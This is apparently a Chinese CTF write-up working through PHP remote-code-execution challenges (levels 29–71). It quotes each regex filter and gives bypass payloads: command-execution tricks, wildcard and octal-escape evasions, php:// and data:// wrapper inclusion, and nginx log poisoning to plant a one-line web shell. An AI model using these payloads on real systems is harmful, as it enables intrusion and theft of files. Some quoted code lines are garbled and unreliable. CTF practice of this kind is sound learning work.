接下来开始我们的RCE刷题SHOW
29:
if(isset( $_GET['c’]));if(!preg_match("/flag/i",$c)){eval($c); }else{ highlight file( FILE );
|
先看代码分析出来这个是命令执行,让我们get传参c,然后过滤了flag和他的大小写
那么payload就出来了:c=system('tac fl*.php');(也可以使用其他的查看符)
其他:c=system('tac fl""ag.php');c=system('tac fl``ag.php');c=system('ta\c fl\ag.php');等等
|
30:
if(isset($_GET['c’])){8c = S GETL'c’]:if(!preg_match("/flag|system|php/i", $c)){eval($c): }else{ highlight_file( FILE);
|
和上面的差不多,就是过滤的多了
payload:
?c=passthru("tac fla*");
?c=echo`tac fla*`;
?c=$a=sys;$b=tem;$c=$a.$b;$c("tac fla*");
?c=echo shell_exec("tac fla*");
?c=eval($_GET[1]);&1=system("tac flag.php");
echo `nl fl''ag.p''hp`;(show答案)
|
31:
多过滤了cat sort 这个怎么越来越多了,可以进行传参:c=eval($_GET[a]);&a=system(‘cat flag.php’);也可以使用passthru(要注意过滤了空格)
32:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
|
这个不知道为什么不可以用passthru做,不过没关系,可以使用伪协议做,但是首先要先传参:
palyoad:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
上面的可以使用到36,不过要注意一些过滤,比如空格什么的
|
37:
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; }
|
使用选择使用data:[?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
或者传小🐎:
?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log /var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
|
然后一直到39关了上面的都大差不差
40:
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)
|
这个一下子给我弄不会了,
只能看wp做了:
法一
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
|
法二
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
|
41:
42:
终于简单了;
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
|
这行代码执行一个系统命令,该命令由变量 $c 的值指定。>/dev/null 2>&1 是一个 shell 重定向操作,意味着命令的标准输出(stdout)和标准错误(stderr)都被重定向到 /dev/null,即被丢弃,(个人理解是内容注释注释)用户不会看到任何输出结果 所以直接
使用管道符进行绕过让他执行前面的
43:
比前面多过滤了cat、;,那就利用tac,uniq,less,more,strings,nl命令来打印,“||”分割
或者使用重定向:
然后访问1.txt
44:
44呢和43差不多,就多了一个flag,可以?l*.php
45:
(多了cat):
if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1");
|
palyad:c=uniq${IFS}?l*.php||
|
46-53:
都差不多,可以多记点替代cat的和system以及空格的
54:
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
|
过滤 了很多命令。 中间这些个很多的星号的内容,其实 是说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。
于是,有了payload
?c=/bin/ca?${IFS}????.???
|
然后 查看源码
55:
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))
|
由于过滤了字母,但没有过滤数字可以考虑数字编码:
$'\164\141\143' $'\146\154\141\147\56\160\150\160'
也可以使用通配符?来进行代替
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???
|
56+57:
这个的话没看明白
58-65:
进行post传c,并且eval($c)
这里嘛,要引入新的函数:show_source,highlight_file;这两个都是对文件进行语法高亮显示
那么palyad就出来了:c=show_source(‘flag.php’);/highlight_file('flag.php');
或者可以利用文件包含写:c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php
|
66-67:
这个呢引入一个新的东西:
print_r(scandir("/"));(print_r或者也可以换成var_dump/var_export)和前面的一样不过在本目录下面没有flag.php/txt,那个新的东西是查看指定的目录,先返回根目录,然后就发现根目录下面存在着flag.txt,那个就可以show_source("/flag.txt");或者另一个;
|
68-70:
这一关禁用了highlight_file。依然可以使用上一关的var_dump结合scandir来显示根目录的文件列表。 c=var_dump(scandir('/'));之后show_source和highlight_file都用不了,试试include和require即可。
|
71:
<?php
/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com
*/
error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
?>
你要上天吗?
|
这个的话,查看源代码,可以看到他将数字和字母换成?了,那个可以利用缓冲区用exit();结束
提前终止程序,即执行完代码直接退出,可以调用的函数有:
然后的话就是使用c=var_export进行扫描文件根目录:c=var_export(scandir(“/“));exit;再c=include(“/flag.txt”);exit();
剩下的以后再说,有点不会了。